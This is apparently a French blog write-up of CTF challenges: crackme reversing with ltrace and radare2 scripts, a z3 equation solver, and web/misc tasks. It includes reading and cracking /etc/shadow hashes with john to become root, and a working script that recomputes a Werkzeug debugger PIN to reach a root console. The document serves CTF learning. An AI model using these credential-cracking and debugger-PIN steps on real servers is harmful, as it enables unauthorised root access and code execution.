aurélien@duboc:~$

– – Sommaire – –




[Reverse] InfiniteCrackme 1

Source de téléchargement

Consignes

Flag is:

result = PASSWORD_chall_OOO + ... + PASSWORD_chall_299
'HSR{' + hashlib.md5(result.encode()).hexdigest() + '}'

Extraction des données

$ tar xvf challenge.tar.gz
files/chall_246
files/chall_293
...
files/chall_047
files/chall_062

Reverse du premier binaire

$ ./files/chall_000
Enter password : 
aaa
NOPE
$ ltrace files/chall_000
puts("Enter password : "Enter password : 
)                                                                                                 = 18
__isoc99_scanf(0x555cfa95d016, 0x7fffaa5ec230, 0, 0x7fa47ae6bf33aaa
)                                                         = 1
strcmp("aaa", "WhccImOXzyNovjtiECAs")                                                                                     = 10
puts("NOPE"NOPE
)                                                                                                              = 5
+++ exited (status 0) +++
$ echo "WhccImOXzyNovjtiECAs"|./files/chall_000
Enter password : 
OK

Automatisation

flag=""
for i in ./files/*; do
  password=$(echo aaa|ltrace $i 2>&1|grep strcmp|cut -d '"' -f4)
  flag=$flag$password
done
result=$(echo -n $flag | md5sum | awk '{print $1}')
echo "HSR{$result}"

On obtient: HSR{95488aa9905d8a474620862be79f7308}




[Reverse] InfiniteCrackme 2

Source de téléchargement

Consignes

Flag is:

result = PASSWORD_chall_OOO + ... + PASSWORD_chall_299
'HSR{' + hashlib.md5(result.encode()).hexdigest() + '}'

Extraction des données

$ tar xvf challenge.tar.gz
files/chall_051
files/chall_033
...
files/chall_240
files/chall_022

Reverse du premier binaire

$ radare2 ./files/chall_000
[0x00001060]> aaa
[0x00001060]> afl
0x00001145   11 276          main
[0x00001060]> pdf @ main
            ; DATA XREF from entry0 @ 0x107d
┌ 276: int main (int argc, char **argv, char **envp);; var int64_t var_60h @ rbp-0x60
│           ; var int64_t var_58h @ rbp-0x58
│           ; var int64_t var_50h @ rbp-0x50
│           ; var int64_t var_48h @ rbp-0x48
│           ; var int64_t var_40h @ rbp-0x40
│           ; var int64_t var_38h @ rbp-0x38
│           ; var int64_t var_30h @ rbp-0x30
│           ; var int64_t var_28h @ rbp-0x28
│           ; var int64_t var_20h @ rbp-0x20
│           ; var int64_t var_4h @ rbp-0x4
│           0x00001145      55             push rbp
│           0x00001146      4889e5         mov rbp, rsp
│           0x00001149      4883ec60       sub rsp, 0x60
│           0x0000114d      48b83d774e4b.  movabs rax, 0x646568464b4e773d ; '=wNKFhed'
│           0x00001157      48ba35372e2a.  movabs rdx, 0x6d393f5a2a2e3735 ; '57.*Z?9m'
│           0x00001161      488945c0       mov qword [var_40h], rax
│           0x00001165      488955c8       mov qword [var_38h], rdx
│           0x00001169      48c745d02668.  mov qword [var_30h], 0x214d6826 ; '&hM!'
│           0x00001171      c645d800       mov byte [var_28h], 0
│           0x00001175      48b8703e2d2f.  movabs rax, 0x232f38222f2d3e70 ; 'p>-/\"8/#'
│           0x0000117f      48ba7e5f6c52.  movabs rdx, 0x3b634f2b526c5f7e ; '~_lR+Oc;'
│           0x00001189      488945a0       mov qword [var_60h], rax
│           0x0000118d      488955a8       mov qword [var_58h], rdx
│           0x00001191      48c745b06c23.  mov qword [var_50h], 0x702e236c ; 'l#.p'
│           0x00001199      c645b800       mov byte [var_48h], 0
│           0x0000119d      488d3d600e00.  lea rdi, str.Enter_password_:_ ; 0x2004 ; "Enter password : " ; const char *s
│           0x000011a4      e887feffff     call sym.imp.puts           ; int puts(const char *s)
│           0x000011a9      488d45e0       lea rax, [var_20h]
│           0x000011ad      4889c6         mov rsi, rax
│           0x000011b0      488d3d5f0e00.  lea rdi, [0x00002016]       ; "%s" ; const char *format
│           0x000011b7      b800000000     mov eax, 0
│           0x000011bc      e87ffeffff     call sym.imp.__isoc99_scanf ; int scanf(const char *format)
│           0x000011c1      c745fc000000.  mov dword [var_4h], 0
│       ┌─< 0x000011c8      eb04           jmp 0x11ce
│       │   ; CODE XREF from main @ 0x120c
│      ┌──> 0x000011ca      8345fc01       add dword [var_4h], 1
│      ╎│   ; CODE XREF from main @ 0x11c8
│      ╎└─> 0x000011ce      8b45fc         mov eax, dword [var_4h]
│      ╎    0x000011d1      4898           cdqe
│      ╎    0x000011d3      0fb65405e0     movzx edx, byte [rbp + rax - 0x20]
│      ╎    0x000011d8      8b45fc         mov eax, dword [var_4h]
│      ╎    0x000011db      4898           cdqe
│      ╎    0x000011dd      0fb64c05c0     movzx ecx, byte [rbp + rax - 0x40]
│      ╎    0x000011e2      8b45fc         mov eax, dword [var_4h]
│      ╎    0x000011e5      4898           cdqe
│      ╎    0x000011e7      0fb64405a0     movzx eax, byte [rbp + rax - 0x60]
│      ╎    0x000011ec      31c8           xor eax, ecx
│      ╎    0x000011ee      38c2           cmp dl, al
│      ╎┌─< 0x000011f0      751c           jne 0x120e
│      ╎│   0x000011f2      8b45fc         mov eax, dword [var_4h]
│      ╎│   0x000011f5      4898           cdqe
│      ╎│   0x000011f7      0fb64405c0     movzx eax, byte [rbp + rax - 0x40]
│      ╎│   0x000011fc      84c0           test al, al
│     ┌───< 0x000011fe      740e           je 0x120e
│     │╎│   0x00001200      8b45fc         mov eax, dword [var_4h]
│     │╎│   0x00001203      4898           cdqe
│     │╎│   0x00001205      0fb64405a0     movzx eax, byte [rbp + rax - 0x60]
│     │╎│   0x0000120a      84c0           test al, al
│     │└──< 0x0000120c      75bc           jne 0x11ca
│     │ │   ; CODE XREFS from main @ 0x11f0, 0x11fe
│     └─└─> 0x0000120e      8b45fc         mov eax, dword [var_4h]
│           0x00001211      4898           cdqe
│           0x00001213      0fb64405e0     movzx eax, byte [rbp + rax - 0x20]
│           0x00001218      84c0           test al, al
│       ┌─< 0x0000121a      752a           jne 0x1246
│       │   0x0000121c      8b45fc         mov eax, dword [var_4h]
│       │   0x0000121f      4898           cdqe
│       │   0x00001221      0fb64405c0     movzx eax, byte [rbp + rax - 0x40]
│       │   0x00001226      84c0           test al, al
│      ┌──< 0x00001228      751c           jne 0x1246
│      ││   0x0000122a      8b45fc         mov eax, dword [var_4h]
│      ││   0x0000122d      4898           cdqe
│      ││   0x0000122f      0fb64405a0     movzx eax, byte [rbp + rax - 0x60]
│      ││   0x00001234      84c0           test al, al
│     ┌───< 0x00001236      750e           jne 0x1246
│     │││   0x00001238      488d3dda0d00.  lea rdi, [0x00002019]       ; "OK" ; const char *s
│     │││   0x0000123f      e8ecfdffff     call sym.imp.puts           ; int puts(const char *s)
│    ┌────< 0x00001244      eb0c           jmp 0x1252
│    ││││   ; CODE XREFS from main @ 0x121a, 0x1228, 0x1236
│    │└└└─> 0x00001246      488d3dcf0d00.  lea rdi, str.NOPE           ; 0x201c ; "NOPE" ; const char *s
│    │      0x0000124d      e8defdffff     call sym.imp.puts           ; int puts(const char *s)
│    │      ; CODE XREF from main @ 0x1244
│    └────> 0x00001252      b800000000     mov eax, 0
│           0x00001257      c9             leave
└           0x00001258      c3             ret

La partie qui nous intéresse est la suivante:

│      ╎    0x000011ec      31c8           xor eax, ecx
│      ╎    0x000011ee      38c2           cmp dl, al
│      ╎┌─< 0x000011f0      751c           jne 0x120e

Le programme effectue des opérations entre deux chaines de caractères (ici un xor) et compare les deux caractères entre l’input et le password, il suffit de placer un breakpoint au niveau du cmp dl, al pour regarder dans rax la valeur du premier caractere du mot de passe et ainsi de suite.

On utilisera ensuite des profile rarun2 pour completer le mot de passe au fur et a mesure en stdin pour récupérer chaque caractère

#!/usr/bin/rarun2
stdin=tmp/chall_000_pass.txt

Automatisation

On utilise la librarie r2pipe pour communiquer avec radare2, et on parallélise les taches avec multiprocessing.pool pour gagner en efficacité

import binascii
import hashlib
from multiprocessing.pool import ThreadPool
import re
import r2pipe
import os
import pwn
import shutil
import subprocess
from functools import lru_cache


def clean():
    shutil.rmtree('files', ignore_errors=True)
    shutil.rmtree('tmp', ignore_errors=True)


def start():
    os.mkdir('tmp')
    os.system('tar -C . -xvf ../challenge.tar.gz > /dev/null')
    for filename in sorted(os.listdir('files')):
        open(f'tmp/{filename}_pass.txt', 'a').close()
        with open(f'tmp/{filename}_profile.rr2', 'w') as f:
            f.write(f'#!/usr/bin/rarun2\nstdin=tmp/{filename}_pass.txt\n')


def check_password(filename, password):
    echo_process = subprocess.Popen(["echo", password], stdout=subprocess.PIPE)
    r2_process = subprocess.Popen([filename], stdin=echo_process.stdout, stdout=subprocess.PIPE)
    result = r2_process.communicate()
    return 'NOPE' not in result


def init(r2, password, filename):
    with open(f'tmp/{filename}_pass.txt', 'w') as f:
        f.write(f'{password}')
    r2.cmd(f'e dbg.profile=tmp/{filename}_profile.rr2')
    r2.cmd('ood')
    r2.cmd('aa')
    result = r2.cmd('pdf @ sym.main')
    pattern = r'\n.*0x(.*?) cmp dl, al'
    addr = re.findall(pattern, result)[0].split(' ')[0]
    r2.cmd(f'db 0x{addr}')


def make_stuff(filename, p):
    password, char = '', '?'
    r2 = r2pipe.open(f'files/{filename}', flags=['-d', '-2'])
    init(r2, password, filename)
    for step in range(40):
        result = r2.cmd('dc')
        while 'Enter' not in result:
            registers = r2.cmd('dr')
            value = re.findall(r'rax = 0x000000(.*?)\n', registers)[0]
            char = binascii.unhexlify(value).decode()
            result = r2.cmd('dc')
        if 'OK' in result:
            p.success(password)
            return password
        password += char
        p.status(password)
        r2 = r2pipe.open(f'files/{filename}', flags=['-d', '-2'])
        init(r2, password, filename)


@lru_cache()
def get_flag(filename):
    with pwn.log.progress(f'FLAG ({filename})') as p:
        password = make_stuff(filename, p)
    return password


def solve_block(block, tp):
    try:
        return tp.map(get_flag, block)
    except IndexError as _:
        pass


def main():
    FLAGS = []
    clean()
    start()
    files = sorted(os.listdir('files'))

    pad = 5
    blocks = []
    for i in range(0, len(files), pad):
        blocks += [files[i:i + pad]]
    for block in blocks:
        pwn.log.info(f'Starting ThreadPool with {len(block)} threads')
        with ThreadPool(len(block)) as tp:
            result = solve_block(block, tp)
            while result is None:
                pwn.log.info(f'Retry some flags...')
                result = solve_block(block, tp)
            FLAGS += result

    result = ''.join(FLAGS)
    print()
    pwn.log.success('FLAG = HSR{' + hashlib.md5(result.encode()).hexdigest() + '}')
    clean()


if __name__ == '__main__':
    main()

On obtient: HSR{0870c7a157d6bb8bd0989db4df1cc58f}




[Misc] Oneliner

Consignes

nc 10.22.6.101 15001

Exploration

Les commandes envoyés via ce flux retourne le résultat d’une commande shell:

$ nc 10.22.6.101 15001
Send me something.
whoami
noob

En explorant les dossiers du $HOME on tombe sur un fichier shadow contenant les données suivantes:

root:$6$Fmbc/WIUv1/wz9HO$zFGPCl6WmPHwwm7h.DEWjI/Ie2iXSYCir6zyiQIraNDv9SHyls8s8aCVQCq2WPY1EvC/BHwS7FtKOaFR6dS.v.:19054:0:99999:7:::
noob:$6$9YJYhryw4tLAllN3$TrPoPr3MVd9Bj3Ft0Y3wbpCHBqGeZmZF5AYeJS2Mv9vanPHl7lOLNIgR3c4IdQkgxnaGs6NLhT894nWOpU/bU/:19054:0:99999:7:::

On extrait également le fichier /etc/passwd:

root:x:0:0:root:/root:/bin/bash
noob:x:1000:1000::/home/noob:/bin/bash

On essaye de casser les hashs avec une wordlist:

$ unshadow /tmp/passwd /tmp/shadow > /tmp/hashes
$ john /tmp/hashes --wordlist=$HOME/Downloads/rockyou.txt 
Loaded 2 password hashes with 2 different salts (crypt, generic crypt(3) [?/64])
Remaining 1 password hash
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:29 0% 0g/s 3257p/s 3257c/s 3257C/s 19061988..131518
0g 0:00:01:30 1% 0g/s 3308p/s 3308c/s 3308C/s nishikido..nika15
0g 0:00:04:38 5% 0g/s 3304p/s 3304c/s 3304C/s ingridutza..infinity19
0g 0:00:07:16 9% 0g/s 3312p/s 3312c/s 3312C/s netta01..nethic
0g 0:00:08:42 10% 0g/s 3311p/s 3311c/s 3311C/s huunghia..hustler01
jumpingjacks77   (root)
1g 0:00:35:10 100% 0.000473g/s 3230p/s 3230c/s 3230C/s jumpingjimmy..jumphawk82
Use the "--show" option to display all of the cracked passwords reliably
Session completed

$ john --show /tmp/hashes 
root:jumpingjacks77:0:0:root:/root:/bin/bash
noob:noob:1000:1000::/home/noob:/bin/bash

2 password hashes cracked, 0 left
$ nc 10.22.6.101 15001
Send me something.
echo jumpingjacks77|su -c whoami
root

$ nc 10.22.6.101 15001
Send me something.
echo jumpingjacks77|su -c 'ls -l /root'
total 4
-r-------- 1 root root 28 Feb 20 18:35 cd5b272bcc6f4797cb6523ec8cae0.txt

$ nc 10.22.6.101 15001
Send me something.
echo jumpingjacks77|su -c 'cat /root/cd5b272bcc6f4797cb6523ec8cae0.txt'
HSR{Y0u_ar3_aN_UN1X_Exp3RT}

On obtient: HSR{Y0u_ar3_aN_UN1X_Exp3RT}




[Programming] Mathematician

Consignes

Are you good at solving equations ? 

nc 10.22.6.101 15003

infos:
type(PASSWORD) --> string
PASSWORD[0] = ord(first letter of password)

Résolution

$ nc 10.22.6.101 15003
[*] Objectif: Resoudre le systeme d'equation afin de retrouver le mot de passe...
[-->] 
[+] -31*PASSWORD[0] + -88*PASSWORD[1] + -25*PASSWORD[2] + -18*PASSWORD[3] + 26*PASSWORD[4] + -98*PASSWORD[5] + -18*PASSWORD[6] + 37*PASSWORD[7] + 82*PASSWORD[8] + 66*PASSWORD[9] + 59*PASSWORD[10] + 51*PASSWORD[11] + 1*PASSWORD[12] + 50*PASSWORD[13] + -3*PASSWORD[14] + 41*PASSWORD[15] + 88*PASSWORD[16] + -68*PASSWORD[17] + 52*PASSWORD[18] + -72*PASSWORD[19] + -43*PASSWORD[20] + 6*PASSWORD[21] + 20*PASSWORD[22] + 47*PASSWORD[23] + 43*PASSWORD[24] + -78*PASSWORD[25] + -95*PASSWORD[26] + -56*PASSWORD[27] + -94*PASSWORD[28] + 59*PASSWORD[29] + -13*PASSWORD[30] + 23*PASSWORD[31] + -11*PASSWORD[32] + 62*PASSWORD[33] + -28*PASSWORD[34] + 13*PASSWORD[35] + -83*PASSWORD[36] + 97*PASSWORD[37] + -39*PASSWORD[38] + 9*PASSWORD[39] = -8091
...
40*PASSWORD[0] + -54*PASSWORD[1] + 43*PASSWORD[2] + 85*PASSWORD[3] + 95*PASSWORD[4] + -51*PASSWORD[5] + -90*PASSWORD[6] + -1*PASSWORD[7] + -75*PASSWORD[8] + 86*PASSWORD[9] + -31*PASSWORD[10] + 90*PASSWORD[11] + 55*PASSWORD[12] + -56*PASSWORD[13] + -61*PASSWORD[14] + 25*PASSWORD[15] + 77*PASSWORD[16] + -86*PASSWORD[17] + 6*PASSWORD[18] + 51*PASSWORD[19] + -38*PASSWORD[20] + -39*PASSWORD[21] + 52*PASSWORD[22] + -73*PASSWORD[23] + 31*PASSWORD[24] + 36*PASSWORD[25] + -75*PASSWORD[26] + -91*PASSWORD[27] + -22*PASSWORD[28] + -50*PASSWORD[29] + -30*PASSWORD[30] + -23*PASSWORD[31] + -56*PASSWORD[32] + 30*PASSWORD[33] + -10*PASSWORD[34] + 93*PASSWORD[35] + 48*PASSWORD[36] + -28*PASSWORD[37] + 53*PASSWORD[38] + -88*PASSWORD[39] = -11630
[+] Resultat ?? 

On doit résoudre un système d’équation, on va utiliser la lib python z3-solver:

from z3 import *
import pwn
import re
import time

r = pwn.remote('10.22.6.101', 15003)
time.sleep(1)


def get_matrix(recv: bytes):
    A, B = [], []
    print(recv.split(b'\n')[1].decode())
    items = [item for item in recv.split(b'\n') if b'PASSWORD' in item]
    items = [b' ' + item for item in items]  # fix for regex matching
    for x in items:
        A.append([int(i.decode().strip()) for i in re.findall(b'([ |-]\d+)\*PAS', x)])
        B.append(int(re.findall(b'= (.*?)$', x)[0].decode()))
    return A, B


recv = r.recvrepeat(0.2)
while b'HSR' not in recv:
    (A, B) = get_matrix(recv)
    result = IntVector('x', len(B))

    s = Solver()
    for i in range(len(A)):
        line = f's.add('
        for j in range(len(A[i])):
            line += f'{A[i][j]}*result[{j}] + '
        line = line[:-3] + f' == {B[i]})'
        eval(line)
    s.check()

    result = s.model()
    result = re.findall(b'x__(\d+) = (\d+)', str(result).encode())
    result = sorted(result, key=lambda x: int(x[0].decode()))
    password = ''.join([chr(int(x[1].decode())) for x in result])

    r.sendline(password.encode())
    recv = r.recvrepeat(0.2)

print(recv.decode())

On obtient: HSR{I_H0p3_U_uS3d_tH3_m4G1cal_z3_s0lV3r}




[Web] Werkzeug Fuzzing 1

Consignes

http://10.22.6.101:17003

Exploration

En jouant avec l’input manuellement http://10.22.6.101:17003/?num=2, on est capable d’afficher le carré d’un nombre

Résolution

En essayant de mettre autre chose qu’un nombre on obtient sur http://10.22.6.101:17003/?num=a:

On obtient: HSR{34sy_fuZZ1nG}




[Web] Werkzeug Fuzzing 2

Consignes

http://10.22.6.101:17003

Résolution

On essaye d’obtenir un autre bug en essayant tous les caractères possibles

import requests

url = "http://10.22.6.101:17003"
i = 0
code = 200
while code == 200:
    r = requests.get(f'{url}/?num={chr(i)}')
    code = r.status_code
    i+=1
print(f'{url}/?num={chr(i)}')

On requête donc http://10.22.6.101:17003/?num=³

On obtient: HSR{B3tt3r_FuZz1ng}




[Web] Werkzeug Fuzzing 3

Consignes

The web application is running as root, prove you can collect enough information on the server to compute the pin code
ssh user@10.22.6.101 -p 17002 (password: user)
http://10.22.6.101:17003

Get root!

Résolution

L’objectif est de recalculer le pin code werkzeug à partir des données obtenues sur la machine en tant qu’utilisateur non privilégié. Nous avons l’information qu l’application tourne en tant que l’utilisateur root

$ ssh user@10.22.6.101 -p 17002
12dc5e96a37f:~$ find /usr/ -name werkzeug
/usr/local/lib/python3.10/site-packages/werkzeug

On parse le contenu du code de /usr/local/lib/python3.10/site-packages/werkzeug/debug/__init__.py pour ne garder que le contenu utile pour calculer le pin code:

import getpass
import hashlib
import json
import os
import pkgutil
import re
import sys
import time
import typing as t
import uuid
from itertools import chain

_machine_id = None

def get_machine_id() -> t.Optional[t.Union[str, bytes]]:
    global _machine_id
    if _machine_id is not None:
        return _machine_id
    def _generate() -> t.Optional[t.Union[str, bytes]]:
        linux = b""
        # machine-id is stable across boots, boot_id is not.
        for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
            try:
                with open(filename, "rb") as f:
                    value = f.readline().strip()
            except OSError:
                continue
            if value:
                linux += value
                break
        try:
            with open("/proc/self/cgroup", "rb") as f:
                linux += f.readline().strip().rpartition(b"/")[2]
        except OSError:
            pass
        if linux:
            return linux
    _machine_id = _generate()
    return _machine_id


def compute_pin_code(probably_public_bits, private_bits):
    rv = None
    num = None
    h = hashlib.sha1()
    for bit in chain(probably_public_bits, private_bits):
        if not bit:
            continue
        if isinstance(bit, str):
            bit = bit.encode("utf-8")
        h.update(bit)
    h.update(b"cookiesalt")
    # If we need to generate a pin we salt it a bit more so that we don't
    # end up with the same value and generate out 9 digits
    if num is None:
        h.update(b"pinsalt")
        num = f"{int(h.hexdigest(), 16):09d}"[:9]
    # Format the pincode in groups of digits for easier remembering if
    # we don't have a result yet.
    if rv is None:
        for group_size in 5, 4, 3:
            if len(num) % group_size == 0:
                rv = "-".join(
                    num[x : x + group_size].rjust(group_size, "0")
                    for x in range(0, len(num), group_size)
                )
                break
        else:
            rv = num
    return rv

probably_public_bits = ['root', 'flask.app', 'Flask', '/usr/local/lib/python3.10/site-packages/flask/app.py']
print(probably_public_bits)
private_bits = [str(uuid.getnode()), get_machine_id()]
print(private_bits)
pin_code = compute_pin_code(probably_public_bits, private_bits)
print(pin_code)

On obtient alors:

['root', 'flask.app', 'Flask', '/usr/local/lib/python3.10/site-packages/flask/app.py']
['2485377892358', b'e0d5b3b6-0260-43a2-a9d6-8b08f513689212dc5e96a37fd3ec11544ebf61074579537fba3a87c538da942c6eda3eba66c9']
117-271-285

En utilisant ce pin code depuis la console on obtient le flag.

On obtient: HSR{r00t3d_fuZZ1ng_m4ch1n3}




comments powered by Disqus